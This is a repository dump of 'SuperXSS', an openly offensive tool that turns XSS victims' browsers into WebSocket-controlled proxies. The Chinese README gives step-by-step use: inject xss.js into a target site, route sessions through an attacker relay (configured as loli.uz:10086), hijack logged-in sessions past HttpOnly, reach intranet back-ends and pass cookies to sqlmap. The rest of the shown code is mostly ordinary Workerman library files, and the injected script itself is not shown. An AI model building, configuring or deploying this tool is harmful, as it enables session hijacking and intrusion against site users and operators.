├── SuperXSS-Front ├── test.php ├── poi.jpg ├── avatar.jpg ├── index.html └── xss.js ├── SuperXSS ├── Workerman │ ├── .gitignore │ ├── Lib │ │ ├── Constants.php │ │ └── Timer.php │ ├── composer.json │ ├── MIT-LICENSE.txt │ ├── Protocols │ │ ├── Frame.php │ │ ├── ProtocolInterface.php │ │ ├── Text.php │ │ ├── Http │ │ │ └── mime.types │ │ ├── Ws.php │ │ └── Websocket.php │ ├── Autoloader.php │ ├── Events │ │ ├── EventInterface.php │ │ ├── React │ │ │ ├── ExtEventLoop.php │ │ │ ├── LibEventLoop.php │ │ │ └── StreamSelectLoop.php │ │ ├── Ev.php │ │ ├── Event.php │ │ ├── Libevent.php │ │ ├── Swoole.php │ │ └── Select.php │ ├── Connection │ │ ├── ConnectionInterface.php │ │ ├── UdpConnection.php │ │ ├── AsyncUdpConnection.php │ │ └── AsyncTcpConnection.php │ ├── WebServer.php │ └── README.md ├── Function.php ├── Config.php ├── GlobalData │ ├── Server.php │ └── Client.php └── SuperXSS.php ├── README.md └── LICENSE /SuperXSS-Front/test.php: -------------------------------------------------------------------------------- 1 | "http://loli.uz:10086", 4 | "HIJACK_CONSOLE_LISTEN" => "http://0.0.0.0:10086", 5 | "WS_LISTEN" => "websocket://0.0.0.0:10010", 6 | "CLIENT_TIMED_OUT" => 10, 7 | "CONSOLE_WORKER_COUNT" => 2, 8 | "WS_WORKER_COUNT" => 2, 9 | "DOMAIN_AUTO_REPLACE" => true, 10 | "IGNORE_SUFFIX" => "jpg,jpeg,png,bmp,css,js" 11 | ); 12 | -------------------------------------------------------------------------------- /SuperXSS-Front/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | SuperXSS 9 | 10 | 11 | 12 | Test Poi de~su! 13 | 14 | 15 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SuperXSS 2 | ## Make XSS Great Again 3 | > * 当X别人站的时候,遇到Httponly flag时,被x到的站位于内网无法直接访问时,你要做的是: 4 | > * 换下一个站 X 5 | > * 用SuperXSS √ 6 | 7 | SuperXSS是一个基于Websocket的客户端网页代理程序,客户端JS被注入之后会创建到指定服务端的Websocket连接并接收命令进行XHR请求,从而使得无法直接访问的后台等可以通过客户端浏览器本身作为代理访问。 8 | 程序本身分为两部分,前端JS部分感谢@[https://github.com/Archeb](Archeb),后端本人使用Workerman瞎写的代码。 9 | 程序本身并不稳定,不过至少能够操作一下后台。 10 | 11 | ### 使用 12 | 更改服务端Config.php中REPLACE_ADDR为中转服务端的HTTP(S)访问地址,HIJACK_CONSOLE_LISTEN和WS_LISTEN分别改为劫持控制台的监听地址和Websocket的监听地址,如需要WSS可以配合Nginx做反代使用。 13 | 更改xss.js中最后一行的地址为中转服务端Websocket的监听地址 14 | 将xss.js插入到页面中 15 | 访问劫持控制台,此时应该能看到劫持会话选项。 16 | 劫持会话之后,你应该能直接操作或者直接更改URL来访问其他同域名地址,或者带着Cookie直接扔进sqlmap等工具。 17 | 18 | ### DEMO 19 | 插入到目标页面之中 20 | ![受害者.jpg][1] 21 | 访问劫持控制台 22 | ![说了我不会前端.jpg][2] 23 | 劫持会话,完 全 一 致 24 | ![大 胜 利][3] 25 | 同时可以访问同域下的其他内容 26 | ![24岁,是学生][4] 27 | 28 | 29 | [1]: https://static.moe.do/Uploads/image/20190407/1.png 30 | [2]: https://static.moe.do/Uploads/image/20190407/2.png 31 | [3]: https://static.moe.do/Uploads/image/20190407/3.png 32 | [4]: https://static.moe.do/Uploads/image/20190407/4.png 33 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 羽川早苗 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Lib/Constants.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | 15 | // Date.timezone 16 | if (!ini_get('date.timezone')) { 17 | date_default_timezone_set('Asia/Shanghai'); 18 | } 19 | // Display errors. 20 | ini_set('display_errors', 'on'); 21 | // Reporting all. 22 | error_reporting(E_ALL); 23 | 24 | // Reset opcache. 25 | if (function_exists('opcache_reset')) { 26 | opcache_reset(); 27 | } 28 | 29 | // For onError callback. 30 | define('WORKERMAN_CONNECT_FAIL', 1); 31 | // For onError callback. 32 | define('WORKERMAN_SEND_FAIL', 2); 33 | 34 | // Compatible with php7 35 | if(!class_exists('Error')) 36 | { 37 | class Error extends Exception 38 | { 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/composer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "workerman/workerman", 3 | "type": "library", 4 | "keywords": [ 5 | "event-loop", 6 | "asynchronous" 7 | ], 8 | "homepage": "http://www.workerman.net", 9 | "license": "MIT", 10 | "description": "An asynchronous event driven PHP framework for easily building fast, scalable network applications.", 11 | "authors": [ 12 | { 13 | "name": "walkor", 14 | "email": "walkor@workerman.net", 15 | "homepage": "http://www.workerman.net", 16 | "role": "Developer" 17 | } 18 | ], 19 | "support": { 20 | "email": "walkor@workerman.net", 21 | "issues": "https://github.com/walkor/workerman/issues", 22 | "forum": "http://wenda.workerman.net/", 23 | "wiki": "http://doc3.workerman.net/index.html", 24 | "source": "https://github.com/walkor/workerman" 25 | }, 26 | "require": { 27 | "php": ">=5.3" 28 | }, 29 | "suggest": { 30 | "ext-event": "For better performance. " 31 | }, 32 | "autoload": { 33 | "psr-4": { 34 | "Workerman\\": "./" 35 | } 36 | }, 37 | "minimum-stability": "dev" 38 | } 39 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/MIT-LICENSE.txt: -------------------------------------------------------------------------------- 1 | The MIT License 2 | 3 | Copyright (c) 2009-2015 walkor and contributors (see https://github.com/walkor/workerman/contributors) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Protocols/Frame.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman\Protocols; 15 | 16 | use Workerman\Connection\TcpConnection; 17 | 18 | /** 19 | * Frame Protocol. 20 | */ 21 | class Frame 22 | { 23 | /** 24 | * Check the integrity of the package. 25 | * 26 | * @param string $buffer 27 | * @param TcpConnection $connection 28 | * @return int 29 | */ 30 | public static function input($buffer, TcpConnection $connection) 31 | { 32 | if (strlen($buffer) < 4) { 33 | return 0; 34 | } 35 | $unpack_data = unpack('Ntotal_length', $buffer); 36 | return $unpack_data['total_length']; 37 | } 38 | 39 | /** 40 | * Decode. 41 | * 42 | * @param string $buffer 43 | * @return string 44 | */ 45 | public static function decode($buffer) 46 | { 47 | return substr($buffer, 4); 48 | } 49 | 50 | /** 51 | * Encode. 52 | * 53 | * @param string $buffer 54 | * @return string 55 | */ 56 | public static function encode($buffer) 57 | { 58 | $total_length = 4 + strlen($buffer); 59 | return pack('N', $total_length) . $buffer; 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Protocols/ProtocolInterface.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman\Protocols; 15 | 16 | use Workerman\Connection\ConnectionInterface; 17 | 18 | /** 19 | * Protocol interface 20 | */ 21 | interface ProtocolInterface 22 | { 23 | /** 24 | * Check the integrity of the package. 25 | * Please return the length of package. 26 | * If length is unknow please return 0 that mean wating more data. 27 | * If the package has something wrong please return false the connection will be closed. 28 | * 29 | * @param ConnectionInterface $connection 30 | * @param string $recv_buffer 31 | * @return int|false 32 | */ 33 | public static function input($recv_buffer, ConnectionInterface $connection); 34 | 35 | /** 36 | * Decode package and emit onMessage($message) callback, $message is the result that decode returned. 37 | * 38 | * @param ConnectionInterface $connection 39 | * @param string $recv_buffer 40 | * @return mixed 41 | */ 42 | public static function decode($recv_buffer, ConnectionInterface $connection); 43 | 44 | /** 45 | * Encode package brefore sending to client. 46 | * 47 | * @param ConnectionInterface $connection 48 | * @param mixed $data 49 | * @return string 50 | */ 51 | public static function encode($data, ConnectionInterface $connection); 52 | } 53 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Protocols/Text.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman\Protocols; 15 | 16 | use Workerman\Connection\TcpConnection; 17 | 18 | /** 19 | * Text Protocol. 20 | */ 21 | class Text 22 | { 23 | /** 24 | * Check the integrity of the package. 25 | * 26 | * @param string $buffer 27 | * @param TcpConnection $connection 28 | * @return int 29 | */ 30 | public static function input($buffer, TcpConnection $connection) 31 | { 32 | // Judge whether the package length exceeds the limit. 33 | if (strlen($buffer) >= TcpConnection::$maxPackageSize) { 34 | $connection->close(); 35 | return 0; 36 | } 37 | // Find the position of "\n". 38 | $pos = strpos($buffer, "\n"); 39 | // No "\n", packet length is unknown, continue to wait for the data so return 0. 40 | if ($pos === false) { 41 | return 0; 42 | } 43 | // Return the current package length. 44 | return $pos + 1; 45 | } 46 | 47 | /** 48 | * Encode. 49 | * 50 | * @param string $buffer 51 | * @return string 52 | */ 53 | public static function encode($buffer) 54 | { 55 | // Add "\n" 56 | return $buffer . "\n"; 57 | } 58 | 59 | /** 60 | * Decode. 61 | * 62 | * @param string $buffer 63 | * @return string 64 | */ 65 | public static function decode($buffer) 66 | { 67 | // Remove "\n" 68 | return trim($buffer); 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Autoloader.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman; 15 | 16 | /** 17 | * Autoload. 18 | */ 19 | class Autoloader 20 | { 21 | /** 22 | * Autoload root path. 23 | * 24 | * @var string 25 | */ 26 | protected static $_autoloadRootPath = ''; 27 | 28 | /** 29 | * Set autoload root path. 30 | * 31 | * @param string $root_path 32 | * @return void 33 | */ 34 | public static function setRootPath($root_path) 35 | { 36 | self::$_autoloadRootPath = $root_path; 37 | } 38 | 39 | /** 40 | * Load files by namespace. 41 | * 42 | * @param string $name 43 | * @return boolean 44 | */ 45 | public static function loadByNamespace($name) 46 | { 47 | $class_path = str_replace('\\', DIRECTORY_SEPARATOR, $name); 48 | if (strpos($name, 'Workerman\\') === 0) { 49 | $class_file = __DIR__ . substr($class_path, strlen('Workerman')) . '.php'; 50 | } else { 51 | if (self::$_autoloadRootPath) { 52 | $class_file = self::$_autoloadRootPath . DIRECTORY_SEPARATOR . $class_path . '.php'; 53 | } 54 | if (empty($class_file) || !is_file($class_file)) { 55 | $class_file = __DIR__ . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . "$class_path.php"; 56 | } 57 | } 58 | 59 | if (is_file($class_file)) { 60 | require_once($class_file); 61 | if (class_exists($name, false)) { 62 | return true; 63 | } 64 | } 65 | return false; 66 | } 67 | } 68 | 69 | spl_autoload_register('\Workerman\Autoloader::loadByNamespace'); -------------------------------------------------------------------------------- /SuperXSS/Workerman/Events/EventInterface.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman\Events; 15 | 16 | interface EventInterface 17 | { 18 | /** 19 | * Read event. 20 | * 21 | * @var int 22 | */ 23 | const EV_READ = 1; 24 | 25 | /** 26 | * Write event. 27 | * 28 | * @var int 29 | */ 30 | const EV_WRITE = 2; 31 | 32 | /** 33 | * Except event 34 | * 35 | * @var int 36 | */ 37 | const EV_EXCEPT = 3; 38 | 39 | /** 40 | * Signal event. 41 | * 42 | * @var int 43 | */ 44 | const EV_SIGNAL = 4; 45 | 46 | /** 47 | * Timer event. 48 | * 49 | * @var int 50 | */ 51 | const EV_TIMER = 8; 52 | 53 | /** 54 | * Timer once event. 55 | * 56 | * @var int 57 | */ 58 | const EV_TIMER_ONCE = 16; 59 | 60 | /** 61 | * Add event listener to event loop. 62 | * 63 | * @param mixed $fd 64 | * @param int $flag 65 | * @param callable $func 66 | * @param mixed $args 67 | * @return bool 68 | */ 69 | public function add($fd, $flag, $func, $args = null); 70 | 71 | /** 72 | * Remove event listener from event loop. 73 | * 74 | * @param mixed $fd 75 | * @param int $flag 76 | * @return bool 77 | */ 78 | public function del($fd, $flag); 79 | 80 | /** 81 | * Remove all timers. 82 | * 83 | * @return void 84 | */ 85 | public function clearAllTimer(); 86 | 87 | /** 88 | * Main loop. 89 | * 90 | * @return void 91 | */ 92 | public function loop(); 93 | 94 | /** 95 | * Destroy loop. 96 | * 97 | * @return mixed 98 | */ 99 | public function destroy(); 100 | 101 | /** 102 | * Get Timer count. 103 | * 104 | * @return mixed 105 | */ 106 | public function getTimerCount(); 107 | } 108 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Connection/ConnectionInterface.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman\Connection; 15 | 16 | /** 17 | * ConnectionInterface. 18 | */ 19 | abstract class ConnectionInterface 20 | { 21 | /** 22 | * Statistics for status command. 23 | * 24 | * @var array 25 | */ 26 | public static $statistics = array( 27 | 'connection_count' => 0, 28 | 'total_request' => 0, 29 | 'throw_exception' => 0, 30 | 'send_fail' => 0, 31 | ); 32 | 33 | /** 34 | * Emitted when data is received. 35 | * 36 | * @var callback 37 | */ 38 | public $onMessage = null; 39 | 40 | /** 41 | * Emitted when the other end of the socket sends a FIN packet. 42 | * 43 | * @var callback 44 | */ 45 | public $onClose = null; 46 | 47 | /** 48 | * Emitted when an error occurs with connection. 49 | * 50 | * @var callback 51 | */ 52 | public $onError = null; 53 | 54 | /** 55 | * Sends data on the connection. 56 | * 57 | * @param string $send_buffer 58 | * @return void|boolean 59 | */ 60 | abstract public function send($send_buffer); 61 | 62 | /** 63 | * Get remote IP. 64 | * 65 | * @return string 66 | */ 67 | abstract public function getRemoteIp(); 68 | 69 | /** 70 | * Get remote port. 71 | * 72 | * @return int 73 | */ 74 | abstract public function getRemotePort(); 75 | 76 | /** 77 | * Get remote address. 78 | * 79 | * @return string 80 | */ 81 | abstract public function getRemoteAddress(); 82 | 83 | /** 84 | * Get local IP. 85 | * 86 | * @return string 87 | */ 88 | abstract public function getLocalIp(); 89 | 90 | /** 91 | * Get local port. 92 | * 93 | * @return int 94 | */ 95 | abstract public function getLocalPort(); 96 | 97 | /** 98 | * Get local address. 99 | * 100 | * @return string 101 | */ 102 | abstract public function getLocalAddress(); 103 | 104 | /** 105 | * Is ipv4. 106 | * 107 | * @return bool 108 | */ 109 | abstract public function isIPv4(); 110 | 111 | /** 112 | * Is ipv6. 113 | * 114 | * @return bool 115 | */ 116 | abstract public function isIPv6(); 117 | 118 | /** 119 | * Close connection. 120 | * 121 | * @param $data 122 | * @return void 123 | */ 124 | abstract public function close($data = null); 125 | } 126 | -------------------------------------------------------------------------------- /SuperXSS/GlobalData/Server.php: -------------------------------------------------------------------------------- 1 | count = 1; 31 | $worker->name = 'globalDataServer'; 32 | $worker->onMessage = array($this, 'onMessage'); 33 | $worker->reloadable = false; 34 | $this->_worker = $worker; 35 | } 36 | 37 | /** 38 | * onMessage. 39 | * @param TcpConnection $connection 40 | * @param string $buffer 41 | */ 42 | public function onMessage($connection, $buffer) 43 | { 44 | if($buffer === 'ping') 45 | { 46 | return; 47 | } 48 | $data = unserialize($buffer); 49 | if(!$buffer || !isset($data['cmd']) || !isset($data['key'])) 50 | { 51 | return $connection->close(serialize('bad request')); 52 | } 53 | $cmd = $data['cmd']; 54 | $key = $data['key']; 55 | switch($cmd) 56 | { 57 | case 'get': 58 | if(!isset($this->_dataArray[$key])) 59 | { 60 | return $connection->send('N;'); 61 | } 62 | return $connection->send(serialize($this->_dataArray[$key])); 63 | break; 64 | case 'set': 65 | $this->_dataArray[$key] = $data['value']; 66 | $connection->send('b:1;'); 67 | break; 68 | case 'add': 69 | if(isset($this->_dataArray[$key])) 70 | { 71 | return $connection->send('b:0;'); 72 | } 73 | $this->_dataArray[$key] = $data['value']; 74 | return $connection->send('b:1;'); 75 | break; 76 | case 'increment': 77 | if(!isset($this->_dataArray[$key])) 78 | { 79 | return $connection->send('b:0;'); 80 | } 81 | if(!is_numeric($this->_dataArray[$key])) 82 | { 83 | $this->_dataArray[$key] = 0; 84 | } 85 | $this->_dataArray[$key] = $this->_dataArray[$key]+$data['step']; 86 | return $connection->send(serialize($this->_dataArray[$key])); 87 | break; 88 | case 'cas': 89 | if(isset($this->_dataArray[$key]) && md5(serialize($this->_dataArray[$key])) === $data['md5']) 90 | { 91 | $this->_dataArray[$key] = $data['value']; 92 | return $connection->send('b:1;'); 93 | } 94 | $connection->send('b:0;'); 95 | break; 96 | case 'delete': 97 | unset($this->_dataArray[$key]); 98 | $connection->send('b:1;'); 99 | break; 100 | default: 101 | $connection->close(serialize('bad cmd '. $cmd)); 102 | } 103 | } 104 | } 105 | 106 | 107 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Protocols/Http/mime.types: -------------------------------------------------------------------------------- 1 | 2 | types { 3 | text/html html htm shtml; 4 | text/css css; 5 | text/xml xml; 6 | image/gif gif; 7 | image/jpeg jpeg jpg; 8 | application/x-javascript js; 9 | application/atom+xml atom; 10 | application/rss+xml rss; 11 | 12 | text/mathml mml; 13 | text/plain txt; 14 | text/vnd.sun.j2me.app-descriptor jad; 15 | text/vnd.wap.wml wml; 16 | text/x-component htc; 17 | 18 | image/png png; 19 | image/tiff tif tiff; 20 | image/vnd.wap.wbmp wbmp; 21 | image/x-icon ico; 22 | image/x-jng jng; 23 | image/x-ms-bmp bmp; 24 | image/svg+xml svg svgz; 25 | image/webp webp; 26 | 27 | application/java-archive jar war ear; 28 | application/mac-binhex40 hqx; 29 | application/msword doc; 30 | application/pdf pdf; 31 | application/postscript ps eps ai; 32 | application/rtf rtf; 33 | application/vnd.ms-excel xls; 34 | application/vnd.ms-powerpoint ppt; 35 | application/vnd.wap.wmlc wmlc; 36 | application/vnd.google-earth.kml+xml kml; 37 | application/vnd.google-earth.kmz kmz; 38 | application/x-7z-compressed 7z; 39 | application/x-cocoa cco; 40 | application/x-java-archive-diff jardiff; 41 | application/x-java-jnlp-file jnlp; 42 | application/x-makeself run; 43 | application/x-perl pl pm; 44 | application/x-pilot prc pdb; 45 | application/x-rar-compressed rar; 46 | application/x-redhat-package-manager rpm; 47 | application/x-sea sea; 48 | application/x-shockwave-flash swf; 49 | application/x-stuffit sit; 50 | application/x-tcl tcl tk; 51 | application/x-x509-ca-cert der pem crt; 52 | application/x-xpinstall xpi; 53 | application/xhtml+xml xhtml; 54 | application/zip zip; 55 | 56 | application/octet-stream bin exe dll; 57 | application/octet-stream deb; 58 | application/octet-stream dmg; 59 | application/octet-stream eot; 60 | application/octet-stream iso img; 61 | application/octet-stream msi msp msm; 62 | 63 | audio/midi mid midi kar; 64 | audio/mpeg mp3; 65 | audio/ogg ogg; 66 | audio/x-m4a m4a; 67 | audio/x-realaudio ra; 68 | 69 | video/3gpp 3gpp 3gp; 70 | video/mp4 mp4; 71 | video/mpeg mpeg mpg; 72 | video/quicktime mov; 73 | video/webm webm; 74 | video/x-flv flv; 75 | video/x-m4v m4v; 76 | video/x-mng mng; 77 | video/x-ms-asf asx asf; 78 | video/x-ms-wmv wmv; 79 | video/x-msvideo avi; 80 | } 81 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Connection/UdpConnection.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman\Connection; 15 | 16 | /** 17 | * UdpConnection. 18 | */ 19 | class UdpConnection extends ConnectionInterface 20 | { 21 | /** 22 | * Application layer protocol. 23 | * The format is like this Workerman\\Protocols\\Http. 24 | * 25 | * @var \Workerman\Protocols\ProtocolInterface 26 | */ 27 | public $protocol = null; 28 | 29 | /** 30 | * Udp socket. 31 | * 32 | * @var resource 33 | */ 34 | protected $_socket = null; 35 | 36 | /** 37 | * Remote address. 38 | * 39 | * @var string 40 | */ 41 | protected $_remoteAddress = ''; 42 | 43 | /** 44 | * Construct. 45 | * 46 | * @param resource $socket 47 | * @param string $remote_address 48 | */ 49 | public function __construct($socket, $remote_address) 50 | { 51 | $this->_socket = $socket; 52 | $this->_remoteAddress = $remote_address; 53 | } 54 | 55 | /** 56 | * Sends data on the connection. 57 | * 58 | * @param string $send_buffer 59 | * @param bool $raw 60 | * @return void|boolean 61 | */ 62 | public function send($send_buffer, $raw = false) 63 | { 64 | if (false === $raw && $this->protocol) { 65 | $parser = $this->protocol; 66 | $send_buffer = $parser::encode($send_buffer, $this); 67 | if ($send_buffer === '') { 68 | return null; 69 | } 70 | } 71 | return strlen($send_buffer) === stream_socket_sendto($this->_socket, $send_buffer, 0, $this->_remoteAddress); 72 | } 73 | 74 | /** 75 | * Get remote IP. 76 | * 77 | * @return string 78 | */ 79 | public function getRemoteIp() 80 | { 81 | $pos = strrpos($this->_remoteAddress, ':'); 82 | if ($pos) { 83 | return trim(substr($this->_remoteAddress, 0, $pos), '[]'); 84 | } 85 | return ''; 86 | } 87 | 88 | /** 89 | * Get remote port. 90 | * 91 | * @return int 92 | */ 93 | public function getRemotePort() 94 | { 95 | if ($this->_remoteAddress) { 96 | return (int)substr(strrchr($this->_remoteAddress, ':'), 1); 97 | } 98 | return 0; 99 | } 100 | 101 | /** 102 | * Get remote address. 103 | * 104 | * @return string 105 | */ 106 | public function getRemoteAddress() 107 | { 108 | return $this->_remoteAddress; 109 | } 110 | 111 | /** 112 | * Get local IP. 113 | * 114 | * @return string 115 | */ 116 | public function getLocalIp() 117 | { 118 | $address = $this->getLocalAddress(); 119 | $pos = strrpos($address, ':'); 120 | if (!$pos) { 121 | return ''; 122 | } 123 | return substr($address, 0, $pos); 124 | } 125 | 126 | /** 127 | * Get local port. 128 | * 129 | * @return int 130 | */ 131 | public function getLocalPort() 132 | { 133 | $address = $this->getLocalAddress(); 134 | $pos = strrpos($address, ':'); 135 | if (!$pos) { 136 | return 0; 137 | } 138 | return (int)substr(strrchr($address, ':'), 1); 139 | } 140 | 141 | /** 142 | * Get local address. 143 | * 144 | * @return string 145 | */ 146 | public function getLocalAddress() 147 | { 148 | return (string)@stream_socket_get_name($this->_socket, false); 149 | } 150 | 151 | /** 152 | * Is ipv4. 153 | * 154 | * return bool. 155 | */ 156 | public function isIpV4() 157 | { 158 | if ($this->transport === 'unix') { 159 | return false; 160 | } 161 | return strpos($this->getRemoteIp(), ':') === false; 162 | } 163 | 164 | /** 165 | * Is ipv6. 166 | * 167 | * return bool. 168 | */ 169 | public function isIpV6() 170 | { 171 | if ($this->transport === 'unix') { 172 | return false; 173 | } 174 | return strpos($this->getRemoteIp(), ':') !== false; 175 | } 176 | 177 | /** 178 | * Close connection. 179 | * 180 | * @param mixed $data 181 | * @param bool $raw 182 | * @return bool 183 | */ 184 | public function close($data = null, $raw = false) 185 | { 186 | if ($data !== null) { 187 | $this->send($data, $raw); 188 | } 189 | return true; 190 | } 191 | } 192 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Lib/Timer.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman\Lib; 15 | 16 | use Workerman\Events\EventInterface; 17 | use Exception; 18 | 19 | /** 20 | * Timer. 21 | * 22 | * example: 23 | * Workerman\Lib\Timer::add($time_interval, callback, array($arg1, $arg2..)); 24 | */ 25 | class Timer 26 | { 27 | /** 28 | * Tasks that based on ALARM signal. 29 | * [ 30 | * run_time => [[$func, $args, $persistent, time_interval],[$func, $args, $persistent, time_interval],..]], 31 | * run_time => [[$func, $args, $persistent, time_interval],[$func, $args, $persistent, time_interval],..]], 32 | * .. 33 | * ] 34 | * 35 | * @var array 36 | */ 37 | protected static $_tasks = array(); 38 | 39 | /** 40 | * event 41 | * 42 | * @var \Workerman\Events\EventInterface 43 | */ 44 | protected static $_event = null; 45 | 46 | /** 47 | * Init. 48 | * 49 | * @param \Workerman\Events\EventInterface $event 50 | * @return void 51 | */ 52 | public static function init($event = null) 53 | { 54 | if ($event) { 55 | self::$_event = $event; 56 | } else { 57 | if (function_exists('pcntl_signal')) { 58 | pcntl_signal(SIGALRM, array('\Workerman\Lib\Timer', 'signalHandle'), false); 59 | } 60 | } 61 | } 62 | 63 | /** 64 | * ALARM signal handler. 65 | * 66 | * @return void 67 | */ 68 | public static function signalHandle() 69 | { 70 | if (!self::$_event) { 71 | pcntl_alarm(1); 72 | self::tick(); 73 | } 74 | } 75 | 76 | /** 77 | * Add a timer. 78 | * 79 | * @param float $time_interval 80 | * @param callable $func 81 | * @param mixed $args 82 | * @param bool $persistent 83 | * @return int/false 84 | */ 85 | public static function add($time_interval, $func, $args = array(), $persistent = true) 86 | { 87 | if ($time_interval <= 0) { 88 | echo new Exception("bad time_interval"); 89 | return false; 90 | } 91 | 92 | if (self::$_event) { 93 | return self::$_event->add($time_interval, 94 | $persistent ? EventInterface::EV_TIMER : EventInterface::EV_TIMER_ONCE, $func, $args); 95 | } 96 | 97 | if (!is_callable($func)) { 98 | echo new Exception("not callable"); 99 | return false; 100 | } 101 | 102 | if (empty(self::$_tasks)) { 103 | pcntl_alarm(1); 104 | } 105 | 106 | $time_now = time(); 107 | $run_time = $time_now + $time_interval; 108 | if (!isset(self::$_tasks[$run_time])) { 109 | self::$_tasks[$run_time] = array(); 110 | } 111 | self::$_tasks[$run_time][] = array($func, (array)$args, $persistent, $time_interval); 112 | return 1; 113 | } 114 | 115 | 116 | /** 117 | * Tick. 118 | * 119 | * @return void 120 | */ 121 | public static function tick() 122 | { 123 | if (empty(self::$_tasks)) { 124 | pcntl_alarm(0); 125 | return; 126 | } 127 | 128 | $time_now = time(); 129 | foreach (self::$_tasks as $run_time => $task_data) { 130 | if ($time_now >= $run_time) { 131 | foreach ($task_data as $index => $one_task) { 132 | $task_func = $one_task[0]; 133 | $task_args = $one_task[1]; 134 | $persistent = $one_task[2]; 135 | $time_interval = $one_task[3]; 136 | try { 137 | call_user_func_array($task_func, $task_args); 138 | } catch (\Exception $e) { 139 | echo $e; 140 | } 141 | if ($persistent) { 142 | self::add($time_interval, $task_func, $task_args); 143 | } 144 | } 145 | unset(self::$_tasks[$run_time]); 146 | } 147 | } 148 | } 149 | 150 | /** 151 | * Remove a timer. 152 | * 153 | * @param mixed $timer_id 154 | * @return bool 155 | */ 156 | public static function del($timer_id) 157 | { 158 | if (self::$_event) { 159 | return self::$_event->del($timer_id, EventInterface::EV_TIMER); 160 | } 161 | 162 | return false; 163 | } 164 | 165 | /** 166 | * Remove all timers. 167 | * 168 | * @return void 169 | */ 170 | public static function delAll() 171 | { 172 | self::$_tasks = array(); 173 | pcntl_alarm(0); 174 | if (self::$_event) { 175 | self::$_event->clearAllTimer(); 176 | } 177 | } 178 | } 179 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Events/React/ExtEventLoop.php: 